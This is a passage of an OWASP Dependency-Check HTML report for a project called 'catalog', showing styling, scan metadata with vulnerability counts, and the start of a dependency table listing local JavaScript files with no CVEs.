border-radius: 3px;
}
.copybutton:hover {
padding:1px;
background-color: #dddddd;
border: 1px solid #444444;
color:#444444;
text-decoration:none;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
-khtml-border-radius: 3px;
-o-border-radius: 3px;
border-radius: 3px;
}
.modal-button {
padding:1px;
float:left;
background-color: #eeeeee;
border: 1px solid #555555;
color:#555555;
text-decoration:none;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
-khtml-border-radius: 3px;
-o-border-radius: 3px;
border-radius: 3px;
}
.modal-button:hover {
padding:1px;
float:left;
background-color: #dddddd;
border: 1px solid #333333;
color:#333333;
text-decoration:none;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
-khtml-border-radius: 3px;
-o-border-radius: 3px;
border-radius: 3px;
}
.modal-button-right {
padding:1px;
float:right;
background-color: #eeeeee;
border: 1px solid #555555;
color:#555555;
text-decoration:none;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
-khtml-border-radius: 3px;
-o-border-radius: 3px;
border-radius: 3px;
}
.modal-button-right:hover {
padding:1px;
float:right;
background-color: #dddddd;
border: 1px solid #333333;
color:#333333;
text-decoration:none;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
-khtml-border-radius: 3px;
-o-border-radius: 3px;
border-radius: 3px;
}
.rounded-corners {
-moz-border-radius: 20px;
-webkit-border-radius: 20px;
-khtml-border-radius: 20px;
-o-border-radius: 20px;
border-radius: 20px;
}
.hidden {
display: none;
}
.expandable {
cursor: pointer;
background-image: url(data:image/gif;base64,R0lGODlhDAAMAIABAICAgP///yH5BAEAAAEALAAAAAAMAAwAAAIcjI8Hy22Q1FNwhnpxhW3d2XFWJn2PNiZbyERuAQA7);
background-repeat: no-repeat;
background-position: 98% 50%;
}
.collapsed {
cursor: pointer;
background-image: url(data:image/gif;base64,R0lGODlhDAAMAIABAICAgP///yH5BAEAAAEALAAAAAAMAAwAAAIajI8Hy22Q1IszQHphW3ZuXUUZ1ZXi8zFkUgAAOw==);
background-repeat: no-repeat;
background-position: 98% 50%;
}
.expandablesubsection {
-moz-border-radius-bottomleft:15px; /* bottom left corner */
-webkit-border-bottom-left-radius:15px; /* bottom left corner */
border-bottom-left-radius: 15px;
border-bottom: 1px solid #cccccc;
}
.collaspablesubsection {
-moz-border-radius-bottomleft:0px; /* bottom left corner */
-webkit-border-bottom-left-radius:0px; /* bottom left corner */
border-bottom-left-radius: 0px;
border-bottom: 0px solid #ffffff;
}
.standardsubsection {
-moz-border-radius-bottomleft:0px; /* bottom left corner */
-webkit-border-bottom-left-radius:0px; /* bottom left corner */
border-bottom-left-radius: 0px;
border-bottom: 0px solid #ffffff;
}
.content {
margin-top:0px;
margin-left:20px;
margin-right:20px;
margin-bottom:20px;
background: #ffffff;
padding: 20px;
}
.sectionheader {
background-color: #cccccc;
margin-top: 20px;
margin-right: 20px;
margin-left: 20px;
margin-bottom: 0px;
padding-top: 10px;
padding-bottom: 10px;
padding-left:20px;
padding-right:20px;
border-top: 1px solid #ccc;
border-right: 1px solid #ccc;
border-left: 1px solid #ccc;
border-bottom: 0px;
/*
-moz-border-radius: 15px;
-webkit-border-radius: 15px;
-o-border-radius: 15px;
border-radius: 15px;
*/
/* firefox's individual border radius properties */
-moz-border-radius-topleft:15px; /* top left corner */
-moz-border-radius-topright:0px; /* top right corner */
-moz-border-radius-bottomleft:0px; /* bottom left corner */
-moz-border-radius-bottomright:0px; /* bottom right corner */
/* webkit's individual border radius properties */
-webkit-border-top-left-radius:15px; /* top left corner */
-webkit-border-top-right-radius:0px; /* top right corner */
-webkit-border-bottom-left-radius:0px; /* bottom left corner */
-webkit-border-bottom-right-radius:0px; /* bottom right corner */
/* ie9+ */
border-top-left-radius: 15px;
border-top-right-radius: 0px;
border-bottom-right-radius: 0px;
border-bottom-left-radius: 0px;
}
.sectioncontent {
margin-top:0px;
margin-left:20px;
margin-right:20px;
margin-bottom:10px;
background: #ffffff;
padding-top: 10px;
padding-bottom: 20px;
padding-left:20px;
padding-right:20px;
border-top: 0px;
border-right: 1px solid #ccc;
border-left: 1px solid #ccc;
border-bottom: 1px solid #ccc;
-moz-border-radius-topleft:0px; /* top left corner */
-moz-border-radius-topright:0px; /* top right corner */
-moz-border-radius-bottomright:15px; /* bottom right corner */
-moz-border-radius-bottomleft:15px; /* bottom right corner */
/* webkit's individual border radius properties */
-webkit-border-top-left-radius:0px; /* top left corner */
-webkit-border-top-right-radius:0px; /* top right corner */
-webkit-border-bottom-right-radius:15px; /* bottom right corner */
-webkit-border-bottom-left-radius:15px; /* bottom right corner */
/* ie9+ */
border-top-left-radius: 0px;
border-top-right-radius: 0px;
border-bottom-right-radius: 15px;
border-bottom-left-radius: 15px;
}
.subsectionheader {
background-color: #cccccc;
margin-top: 20px;
margin-right: 20px;
margin-left: 0px;
margin-bottom: 0px;
padding-top: 10px;
padding-bottom: 10px;
padding-left:20px;
padding-right:20px;
border-top: 1px solid #ccc;
border-right: 1px solid #ccc;
border-left: 1px solid #ccc;
/*
-moz-border-radius: 15px;
-webkit-border-radius: 15px;
-o-border-radius: 15px;
border-radius: 15px;
*/
/* firefox's individual border radius properties */
-moz-border-radius-topleft:15px; /* top left corner */
-moz-border-radius-topright:0px; /* top right corner */
-moz-border-radius-bottomright:0px; /* bottom right corner */
/* webkit's individual border radius properties */
-webkit-border-top-left-radius:15px; /* top left corner */
-webkit-border-top-right-radius:0px; /* top right corner */
-webkit-border-bottom-right-radius:0px; /* bottom right corner */
/* ie9+ */
border-top-left-radius: 15px;
border-top-right-radius: 0px;
border-bottom-right-radius: 0px;
}
.subsectioncontent {
margin-top:0px;
margin-left:0px;
margin-right:20px;
margin-bottom:10px;
background: #ffffff;
padding-top: 10px;
padding-left: 20px;
padding-right: 20px;
padding-bottom: 20px;
border-top: 0px;
border-right: 1px solid #ccc;
border-left: 1px solid #ccc;
border-bottom: 1px solid #ccc;
-moz-border-radius-topleft:0px; /* top left corner */
-moz-border-radius-topright:0px; /* top right corner */
-moz-border-radius-bottomleft:15px; /* bottom left corner */
-moz-border-radius-bottomright:15px; /* bottom right corner */
/* webkit's individual border radius properties */
-webkit-border-top-left-radius:0px; /* top left corner */
-webkit-border-top-right-radius:0px; /* top right corner */
-webkit-border-bottom-left-radius:15px; /* bottom left corner */
-webkit-border-bottom-right-radius:15px; /* bottom right corner */
/* ie9+ */
border-top-left-radius: 0px;
border-top-right-radius: 0px;
border-bottom-right-radius: 15px;
border-bottom-left-radius: 15px;
}
.white {
background-color: #ffffff;
}
.red {
background-color: #DF0101;
}
.left {
text-align: left;
}
.indent {
margin-left:20px;
}
td{
vertical-align:text-top;
padding:6px;
margin:0px;
}
th {
text-align:left
vertical-align:text-top;
padding:6px;
margin:0px;
border-bottom:1px;
border-color: black;
}
table {
border: 0px;
}
table.lined tr:nth-child(even) {
background-color: #f3f3f3;
}
.fullwidth {
width:100%;
}
body {
font: 13px "Droid Sans",Arial,"Helvetica Neue","Lucida Grande",sans-serif
}
ul {
margin-top:3px;
margin-bottom:3px;
}
.vulnerable {
color: #000;
}
.notvulnerable {
display:none;
}
.hidden {
display:none;
}
.infolink {
text-decoration:none;
color: blue;
float:right;
}
.infolink:hover {
text-decoration:none;
color: blue;
float:right;
}
.disclaimer {
color: #888888;
font: 9px "Droid Sans",Arial,"Helvetica Neue","Lucida Grande",sans-serif
}
.sortable {
cursor:pointer;
}
.sortable:hover {
text-decoration:underline;
}
pre {
white-space: pre-wrap;
font: 13px "Droid Sans",Arial,"Helvetica Neue","Lucida Grande",sans-serif
}
</style>
</head>
<body>
<div id="modal-background"></div>
<div id="modal-content">
<div>Press CTR-C to copy XML <a href="http://jeremylong.github.io/DependencyCheck/general/suppression.html" class="infolink" target="_blank" title="Help with suppressing false positives">[help]</a></div>
<button onclick="suppressSwitchTo('gav')" id="modal-suppress-change-to-gav" class="modal-button suppresstype" title="Supress by Maven Group Artifact Version">Suppress By GAV</button>
<button onclick="suppressSwitchTo('sha1')" id="modal-suppress-change-to-sha1" class="modal-button suppresstype" title="Supress by SHA1 hash">Suppress By SHA1</button><br/>
<input type="hidden" id="suppress-name"/>
<input type="hidden" id="suppress-type"/><input type="hidden" id="suppress-val"/>
<input type="hidden" id="suppress-sha1"/><input type="hidden" id="suppress-gav"/>
<textarea id="modal-text" cols="50" rows="10" readonly></textarea><br/>
<button id="modal-add-header" title="Add the parent XML nodes to create the complete XML file that can be used to suppress this finding" class="modal-button">Complete XML Doc</button><button id="modal-close" class="modal-button-right">Close</button>
</div>
<div class="wrapper">
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" version="1.1" x="0" y="0" width="459.5" height="150" viewBox="0 0 459.5 150" enable-background="new 0 0 595.28 841.89" xml:space="preserve"><g transform="translate(-79.10464,-172.551)"><path d="m246.1 274.3c-2.6 0-5.3-0.2-6.6-0.5-0.6-0.1-0.9-0.4-0.9-1.1l0-20.4c0-0.7 0.3-1 0.9-1.1 1.3-0.2 4-0.5 6.6-0.5 6.1 0 9.8 3.2 9.8 9.7l0 4c0 6.5-3.7 9.7-9.8 9.7zm4.6-13.7c0-4.2-1.8-5.3-4.6-5.3-0.8 0-1.8 0-2.2 0.1l0 14.4c0.4 0 1.4 0.1 2.2 0.1 2.8 0 4.6-1.1 4.6-5.3l0-4zM273 273.9 273 273.9c-1.1 0.2-2.6 0.4-6 0.4-4 0-7.5-1-7.5-6.6l0-10.2c0-5.6 3.5-6.6 7.5-6.6 3.3 0 4.9 0.2 5.9 0.4 0.4 0.1 0.6 0.2 0.6 0.6l0 2.9c0 0.3-0.3 0.6-0.6 0.6l-6.3 0c-1.4 0-2 0.5-2 2.1l0 2.8 8 0c0.3 0 0.6 0.3 0.6 0.6l0 2.9c0 0.3-0.3 0.6-0.6 0.6l-8 0 0 3.3c0 1.6 0.5 2.1 2 2.1l6.3 0c0.3 0 0.6 0.3 0.6 0.6l0 2.9c0 0.4-0.2 0.6-0.6 0.6zM285.2 266c-0.7 0-1.7-0.1-2.5-0.1l0 7.5c0 0.3-0.3 0.6-0.6 0.6l-4 0c-0.3 0-0.6-0.2-0.6-0.6l0-20.7c0-1 0.4-1.3 1.4-1.5 1.6-0.2 4-0.4 6.3-0.4 4.7 0 9.2 1.6 9.2 7.4l0 0.3c0 5.8-4.6 7.5-9.2 7.5zm3.9-7.7c0-2.2-1.4-3-3.9-3-0.4 0-2.1 0.1-2.5 0.1l0 6.3c0.3 0 2.2 0.1 2.5 0.1 2.7 0 3.9-1 3.9-3.1l0-0.3zM311 273.9c-1.1 0.2-2.6 0.4-6 0.4-4 0-7.5-1-7.5-6.6l0-10.2c0-5.6 3.5-6.6 7.5-6.6 3.3 0 4.9 0.2 5.9 0.4 0.4 0.1 0.6 0.2 0.6 0.6l0 2.9c0 0.3-0.3 0.6-0.6 0.6l-6.3 0c-1.4 0-2 0.5-2 2.1l0 2.8 8 0c0.3 0 0.6 0.3 0.6 0.6l0 2.9c0 0.3-0.3 0.6-0.6 0.6l-8 0 0 3.3c0 1.6 0.5 2.1 2 2.1l6.3 0c0.3 0 0.6 0.3 0.6 0.6l0 2.9c0 0.4-0.2 0.6-0.6 0.6zM332.4 274l-3 0c-0.6 0-1.1-0.1-1.6-1l-7-12.1c-0.1-0.2-0.2-0.2-0.3-0.2-0.1 0-0.2 0.1-0.2 0.2l0 12.5c0 0.3-0.3 0.6-0.6 0.6l-3.6 0c-0.3 0-0.6-0.3-0.6-0.6l0-21.1c0-0.6 0.5-1.2 1.2-1.2l3.1 0c0.6 0 0.9 0.3 1.3 1l7.3 12.7c0.1 0.2 0.2 0.2 0.2 0.2 0.1 0 0.2-0.1 0.2-0.3l0-13c0-0.3 0.3-0.6 0.6-0.6l3.6 0c0.3 0 0.6 0.2 0.6 0.6l0 21.1c0 0.6-0.6 1.2-1.2 1.2zM345.4 274.3c-2.6 0-5.3-0.2-6.6-0.5-0.6-0.1-0.9-0.4-0.9-1.1l0-20.4c0-0.7 0.3-1 0.9-1.1 1.3-0.2 4-0.5 6.6-0.5 6.1 0 9.8 3.2 9.8 9.7l0 4c0 6.5-3.7 9.7-9.8 9.7zm4.6-13.7c0-4.2-1.8-5.3-4.6-5.3-0.8 0-1.8 0-2.2 0.1l0 14.4c0.4 0 1.4 0.1 2.2 0.1 2.8 0 4.6-1.1 4.6-5.3l0-4zM372.3 273.9c-1.1 0.2-2.6 0.4-6 0.4-4 0-7.5-1-7.5-6.6l0-10.2c0-5.6 3.5-6.6 7.5-6.6 3.3 0 4.9 0.2 5.9 0.4 0.4 0.1 0.6 0.2 0.6 0.6l0 2.9c0 0.3-0.3 0.6-0.6 0.6l-6.3 0c-1.4 0-2 0.5-2 2.1l0 2.8 8 0c0.3 0 0.6 0.3 0.6 0.6l0 2.9c0 0.3-0.3 0.6-0.6 0.6l-8 0 0 3.3c0 1.6 0.5 2.1 2 2.1l6.3 0c0.3 0 0.6 0.3 0.6 0.6l0 2.9c0 0.4-0.2 0.6-0.6 0.6zM393.7 274l-3 0c-0.6 0-1.1-0.1-1.6-1l-7-12.1c-0.1-0.2-0.2-0.2-0.3-0.2-0.1 0-0.2 0.1-0.2 0.2l0 12.5c0 0.3-0.3 0.6-0.6 0.6l-3.6 0c-0.3 0-0.6-0.3-0.6-0.6l0-21.1c0-0.6 0.5-1.2 1.2-1.2l3.1 0c0.6 0 0.9 0.3 1.3 1l7.3 12.7c0.1 0.2 0.2 0.2 0.2 0.2 0.1 0 0.2-0.1 0.2-0.3l0-13c0-0.3 0.3-0.6 0.6-0.6l3.6 0c0.3 0 0.6 0.2 0.6 0.6l0 21.1c0 0.6-0.6 1.2-1.2 1.2zM412.4 273.8c-0.6 0.2-2.4 0.5-4.6 0.5-4.7 0-9.1-2.5-9.1-9.8l0-3.9c0-7.3 4.4-9.8 9.1-9.8 2.2 0 3.9 0.3 4.6 0.5 0.4 0.1 0.7 0.2 0.7 0.7l0 3c0 0.4-0.2 0.6-0.6 0.6 0 0-0.1 0-0.1 0-1.2-0.1-2.9-0.2-4.6-0.2-2.1 0-3.8 1.1-3.8 5.2l0 3.9c0 4.1 1.7 5.2 3.8 5.2 1.7 0 3.4-0.2 4.6-0.2 0 0 0.1 0 0.1 0 0.4 0 0.6 0.2 0.6 0.6l0 3c0 0.4-0.2 0.6-0.7 0.7zM433.6 251.8l-4.7 10.7c-0.6 1.4-1.3 2.1-2 2.4l0 8.6c0 0.3-0.3 0.6-0.6 0.6l-4 0c-0.3 0-0.6-0.3-0.6-0.6l0-8.6c-0.7-0.3-1.4-1-2-2.4l-4.7-10.7c0-0.1 0-0.2 0-0.2 0-0.2 0.2-0.5 0.5-0.5l4.4 0c0.3 0 0.5 0.2 0.6 0.5l3.3 8.7c0.2 0.4 0.2 0.5 0.5 0.5 0.2 0 0.3-0.1 0.5-0.5l3.3-8.7c0.1-0.3 0.3-0.5 0.6-0.5l4.4 0c0.3 0 0.5 0.2 0.5 0.5 0 0.1 0 0.2 0 0.2zM442 266.5l-6 0c-0.3 0-0.6-0.2-0.6-0.6l0-2.5c0-0.3 0.3-0.6 0.6-0.6l6 0c0.3 0 0.6 0.2 0.6 0.6l0 2.5c0 0.3-0.3 0.6-0.6 0.6z" style="fill:#231f20;opacity:0.5"/><path d="m459 273.8c-0.6 0.2-2.4 0.5-4.6 0.5-4.7 0-9.1-2.5-9.1-9.8l0-3.9c0-7.3 4.4-9.8 9.1-9.8 2.2 0 3.9 0.3 4.6 0.5 0.4 0.1 0.7 0.2 0.7 0.7l0 3c0 0.4-0.2 0.6-0.6 0.6 0 0-0.1 0-0.1 0-1.2-0.1-2.9-0.2-4.6-0.2-2.1 0-3.8 1.1-3.8 5.2l0 3.9c0 4.1 1.7 5.2 3.8 5.2 1.7 0 3.4-0.2 4.6-0.2 0 0 0.1 0 0.1 0 0.4 0 0.6 0.2 0.6 0.6l0 3c0 0.4-0.2 0.6-0.7 0.7zM480.6 274l-4 0M480.6 274l-4 0c-0.3 0-0.6-0.3-0.6-0.6l0-8.9-7.6 0 0 8.9c0 0.3-0.3 0.6-0.6 0.6l-4 0c-0.3 0-0.6-0.3-0.6-0.6l0-21.7c0-0.3 0.3-0.6 0.6-0.6l4 0c0.3 0 0.6 0.2 0.6 0.6l0 8.2 7.6 0 0-8.2c0-0.3 0.3-0.6 0.6-0.6l4 0c0.3 0 0.6 0.2 0.6 0.6l0 21.7c0 0.3-0.3 0.6-0.6 0.6zM498.9 273.9c-1.1 0.2-2.6 0.4-6 0.4-4 0-7.5-1-7.5-6.6l0-10.2c0-5.6 3.5-6.6 7.5-6.6 3.3 0 4.9 0.2 5.9 0.4 0.4 0.1 0.6 0.2 0.6 0.6l0 2.9c0 0.3-0.3 0.6-0.6 0.6l-6.3 0c-1.4 0-2 0.5-2 2.1l0 2.8 8 0c0.3 0 0.6 0.3 0.6 0.6l0 2.9c0 0.3-0.3 0.6-0.6 0.6l-8 0 0 3.3c0 1.6 0.5 2.1 2 2.1l6.3 0c0.3 0 0.6 0.3 0.6 0.6l0 2.9c0 0.4-0.2 0.6-0.6 0.6zM516.6 273.8c-0.6 0.2-2.4 0.5-4.6 0.5-4.7 0-9.1-2.5-9.1-9.8l0-3.9c0-7.3 4.4-9.8 9.1-9.8 2.2 0 3.9 0.3 4.6 0.5 0.4 0.1 0.7 0.2 0.7 0.7l0 3c0 0.4-0.2 0.6-0.6 0.6 0 0-0.1 0-0.1 0-1.2-0.1-2.9-0.2-4.6-0.2-2.1 0-3.8 1.1-3.8 5.2l0 3.9c0 4.1 1.7 5.2 3.8 5.2 1.7 0 3.4-0.2 4.6-0.2 0 0 0.1 0 0.1 0 0.4 0 0.6 0.2 0.6 0.6l0 3c0 0.4-0.2 0.6-0.7 0.7zM538.5 251.9l-7.3 10.4 7.4 11.1c0.1 0.1 0.1 0.2 0.1 0.3 0 0.2-0.2 0.3-0.4 0.3l-5.3 0c-0.4 0-0.5-0.2-0.7-0.4l-6.3-10.2 0 10c0 0.3-0.3 0.6-0.6 0.6l-4 0c-0.3 0-0.6-0.3-0.6-0.6l0-21.7c0-0.3 0.3-0.6 0.6-0.6l4 0c0.3 0 0.6 0.2 0.6 0.6l0 9.8 6.8-10c0.2-0.2 0.3-0.4 0.7-0.4l4.7 0c0.3 0 0.5 0.2 0.5 0.3 0 0.1-0.1 0.3-0.2 0.4z" fill="#f78d0a"/><path d="m151.6 187.1 0-14.6c-36.7 5.4-65.9 33.9-72.2 70.4l14.7 0C100 214.5 122.8 192.2 151.6 187.1Z" style="fill:#231f20;opacity:0.5"/><path d="m151.6 200.4 0-13.3c-28.7 5.1-51.6 27.3-57.5 55.8l13.3 0c5.5-21.2 22.6-37.8 44.2-42.5z" style="fill:#231f20;opacity:0.3"/><path d="m193 237-10.9 10.9c0.3 0.6 0.7 1.2 1 1.9 1 2.5 1.5 5.3 1.5 8.2l0 0.2c0 3-0.5 5.8-1.5 8.2-1 2.5-2.4 4.6-4.2 6.4-1.8 1.8-3.9 3.2-6.4 4.2-2.5 1-5.3 1.5-8.3 1.5l-11.5 0 0-1-14.4 14.4 25.9 0c5.3 0 10.1-0.9 14.6-2.6 4.4-1.7 8.2-4.1 11.4-7.2 3.2-3 5.7-6.6 7.4-10.7 1.7-4.1 2.6-8.6 2.6-13.3l0-0.2c0-4.8-0.9-9.2-2.6-13.3-1.2-2.7-2.7-5.2-4.5-7.5z" fill="#f78d0a"/><path d="m152.7 237.6 11.5 0c3 0 5.8 0.5 8.3 1.5 2.5 1 4.7 2.4 6.4 4.2 1.3 1.3 2.3 2.9 3.2 4.6l10.9-10.9c-0.9-1.1-1.8-2.2-2.9-3.2-3.2-3-7-5.4-11.4-7.1-4.4-1.7-9.3-2.6-14.6-2.6l-26.4 0 0 67.7 0.5 0 14.4-14.4 0-39.8z" style="fill:#f78d0a;opacity:0.7"/><path d="m179.5 187.7 0 13.4c11.9 3.2 22.3 10.1 29.9 19.4l9.2-9.3c-10-11.7-23.6-20.1-39.2-23.5z" style="fill:#231f20;opacity:0.3"/><path d="m179.5 173 0 14.7c15.5 3.4 29.2 11.8 39.2 23.5l10.2-10.2c-12.6-14.3-29.8-24.5-49.4-28zM93.7 270.9l-14.6 0M93.7 270.9l-14.6 0c3.1 20.5 13.6 38.6 28.5 51.7l10.2-10.2C105.5 301.9 96.8 287.4 93.7 270.9Z" fill="#f78d0a"/><path d="m107 270.9-13.3 0c3.1 16.5 11.8 31 24.1 41.5l9.2-9.3c-9.9-8.1-17.1-19.3-20-32.2z" style="fill:#231f20;opacity:0.3"/></g></svg>
<p class="disclaimer">Dependency-Check is an open source tool performing a best effort analysis of 3rd party dependencies;
false positives and false negatives may exist in the analysis performed by the tool. Use of the tool and
the reporting provided constitutes acceptance for use in an AS IS condition, and there are NO warranties,
implied or otherwise, with regard to the analysis or its use. Any use of the tool and the reporting provided
is at the user’s risk. In no event shall the copyright holder or OWASP be held liable for any damages whatsoever
arising out of or in connection with the use of this tool, the analysis performed, or the resulting report.</p>
<h3><a href="http://jeremylong.github.io/DependencyCheck/general/thereport.html" target="_blank">How to read the report</a> |
<a href="http://jeremylong.github.io/DependencyCheck/general/suppression.html" target="_blank">Suppressing false positives</a> |
Getting Help: <a href="https://groups.google.com/forum/#!forum/dependency-check" target="_blank">google group</a> |
<a href="https://github.com/jeremylong/DependencyCheck/issues" target="_blank">github issues</a></h3>
<h2 class="">Project: catalog</h2><div class="">Scan Information (<a href="#" title="Click to toggle display" onclick="return toggleDisplay(this, '.scaninfo', 'show all', 'show less'); return false;">show all</a>):<br/><ul class="indent"><li><i>dependency-check version</i>: 3.3.2</li><li><i>Report Generated On</i>: Oct 16, 2018 at 12:59:02 +02:00</li><li><i>Dependencies Scanned</i>: 142 (141 unique)</li><li><i>Vulnerable Dependencies</i>: <span id="vulnerableCount">33</span></li><li><i>Vulnerabilities Found</i>: 39</li><li><i>Vulnerabilities Suppressed</i>: 0</li><li class="scaninfo">...</li><li class="scaninfo hidden"><i>NVD CVE 2002</i>: 16/10/2018 09:48:38</li><li class="scaninfo hidden"><i>NVD CVE 2003</i>: 16/10/2018 09:45:05</li><li class="scaninfo hidden"><i>NVD CVE 2004</i>: 13/10/2018 10:28:05</li><li class="scaninfo hidden"><i>NVD CVE 2005</i>: 13/10/2018 10:25:40</li><li class="scaninfo hidden"><i>NVD CVE 2006</i>: 13/10/2018 10:21:39</li><li class="scaninfo hidden"><i>NVD CVE 2007</i>: 16/10/2018 12:38:43</li><li class="scaninfo hidden"><i>NVD CVE 2008</i>: 16/10/2018 09:39:33</li><li class="scaninfo hidden"><i>NVD CVE 2009</i>: 13/10/2018 10:05:03</li><li class="scaninfo hidden"><i>NVD CVE 2010</i>: 13/10/2018 10:00:37</li><li class="scaninfo hidden"><i>NVD CVE 2011</i>: 13/10/2018 09:55:01</li><li class="scaninfo hidden"><i>NVD CVE 2012</i>: 13/10/2018 09:48:58</li><li class="scaninfo hidden"><i>NVD CVE 2013</i>: 13/10/2018 09:44:33</li><li class="scaninfo hidden"><i>NVD CVE 2014</i>: 16/10/2018 09:34:46</li><li class="scaninfo hidden"><i>NVD CVE 2015</i>: 13/10/2018 09:35:09</li><li class="scaninfo hidden"><i>NVD CVE 2016</i>: 16/10/2018 09:29:27</li><li class="scaninfo hidden"><i>NVD CVE 2017</i>: 16/10/2018 12:38:42</li><li class="scaninfo hidden"><i>NVD CVE 2018</i>: 16/10/2018 12:38:44</li><li class="scaninfo hidden"><i>NVD CVE Checked</i>: 16/10/2018 12:58:37</li><li class="scaninfo hidden"><i>NVD CVE Modified</i>: 16/10/2018 12:05:41</li><li class="scaninfo hidden"><i>VersionCheckOn</i>: 1539687517920</li></ul><br/>Display: <a href="#" title="Click to toggle display" onclick="return toggleDisplay(this, '.notvulnerable', 'Showing Vulnerable Dependencies (click to show all)', 'Showing All Dependencies (click to show less)'); return false;">Showing Vulnerable Dependencies (click to show all)</a><br/><br/><table id="summaryTable" class="lined"><thead><tr style="text-align:left"><th class="sortable" data-sort="string" title="The name of the dependency">Dependency</th><th class="sortable" data-sort="string" title="The Common Platform Enumeration">CPE</th><th class="sortable" data-sort="string" title="The Build Coordinates">Coordinates</th><th class="sortable" data-sort="int" title="The highest CVE Severity">Highest Severity</th><th class="sortable" data-sort="int" title="The number of Common Vulnerability and Exposure (CVE) entries">CVE Count</th><th class="sortable" data-sort="string" title="The confidence rating dependency-check has for the identified CPE">CPE Confidence</th><th class="sortable" data-sort="int" title="The count of evidence collected to identify the CPE">Evidence Count</th></tr></thead><tr class="notvulnerable"><td data-sort-value="WEBAPP.JS"><a href="#l1_fa658aaa952a9cd0afa87b094da8bd71659a87b3">webapp.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="MEDIA.JS"><a href="#l2_b052289e40946d63b79d15b7398e2468be8430b9">media.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="DELETEMIXIN.JS"><a href="#l3_8d16012d82cbb63021bfa973dfbbd36a8220e3ab">deleteMixin.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SOURCEVIEW.JS"><a href="#l4_ceb5c8239887c7e3ca6c86a8216d8996268f9ed5">sourceView.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="KNOWNPROPERTIES.JS"><a href="#l5_842f04510dbc9d372774aa87068745f3f6b049a0">knownProperties.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value=".JSHINT-EMACS.JS"><a href="#l6_9c2aa16eebaf264bc2c0adc80edf5ffde9022dd4">.jshint-emacs.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SEARCH.JS"><a href="#l7_168742d9ae629c2987bb3817eba00b563bcbb404">search.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="USERMODEL.JS"><a href="#l8_71f57513a9dd34defe08c83002a305029996a06c">userModel.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="MEDIA.JS"><a href="#l9_17b51719f1bd47efd73aa1c0db64f7decd350318">media.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="TEST_WORK.JS"><a href="#l10_a1ac937131b167b810cdfaedc81b96e730af2548">test_work.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="WEBAPP.JS"><a href="#l11_554398770e7757dd6a26cb9df9e6b3aa8a002764">webapp.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="TEST.JS"><a href="#l12_1161423daed99ee94624b1502ba5be8c1cbc801c">test.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SOURCES.JS"><a href="#l13_32a5c24324b40f62fd5bdd2acaad0af003f35269">sources.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="WORKPERMALINK.JS"><a href="#l14_0274fa655d0779e7e0aab127557c392108350971">workPermalink.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="CREATE_URI_HASHES.JS"><a href="#l15_b62a1d184dd904794ff90504c43e946df65eb636">create_uri_hashes.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="DB.JS"><a href="#l16_7a4268d6602db79c4f275ace38de47bd5d796931">db.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="LOAD-DB.JS"><a href="#l17_363ed88d2d4a4ff8ff0a829e895a73341f3a6922">load-db.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SEARCH.JS"><a href="#l18_9e29ee513d12591fe9b1173e0fd570df961ecb0a">search.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SESSION.JS"><a 